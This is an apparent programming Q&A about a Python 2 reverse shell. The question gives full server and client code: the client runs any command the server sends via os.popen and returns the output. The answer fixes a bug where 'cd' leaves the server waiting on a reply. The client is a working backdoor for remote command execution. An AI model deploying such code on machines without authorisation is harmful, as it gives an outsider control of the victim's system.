Reputation: 5
I am making a reverse shell in Python 2. However, I can't get cd
(change directory) to work.
Here is my code for the server
:
#!/usr/bin/python
import socket
host = socket.gethostname()
port = 1337
s = socket.socket()
s.bind((host, port))
s.listen(1)
while True:
c, addr = s.accept()
print "Accepted connection from", addr
while True:
cmd = raw_input(">>> ")
c.send(cmd)
print c.recv(1024)
s.close()
And here is my code for the client
:
#!/usr/bin/python
import socket, os
s = socket.socket()
host = socket.gethostname()
port = 1337
s.connect((host, port))
while True:
cmd = s.recv(1024)
if cmd[:2] == "cd":
os.chdir(str(cmd[3:]))
else:
o = os.popen(cmd).read()
s.send(o)
What am I doing wrong? Why is changing the directory not working?
EDIT: The command line doesn't return a new >>>
prompt.
Upvotes: 0
Views: 1897
Reputation: 826
The problem here is that the server code expects a response for every command however for the cd
command the client does not provide any response.
On the server you have:
while True:
cmd = raw_input(">>> ")
c.send(cmd) # send the command to the client
print c.recv(1024) # block and then read (up to) 1024 characters from the client
However in the client you do:
while True:
cmd = s.recv(1024) # block and then read (up to) 1024 characters from the server
if cmd[:2] == "cd":
os.chdir(str(cmd[3:])) # no response sent for the `cd` case
else:
o = os.popen(cmd).read()
s.send(o) # send a response to the server for all other cases
One easy solution would be to have the cd
case return an OK
response which the server discards.
Note that in Python sockets and therefore socket.recv()
is a blocking operation by default.
Upvotes: 2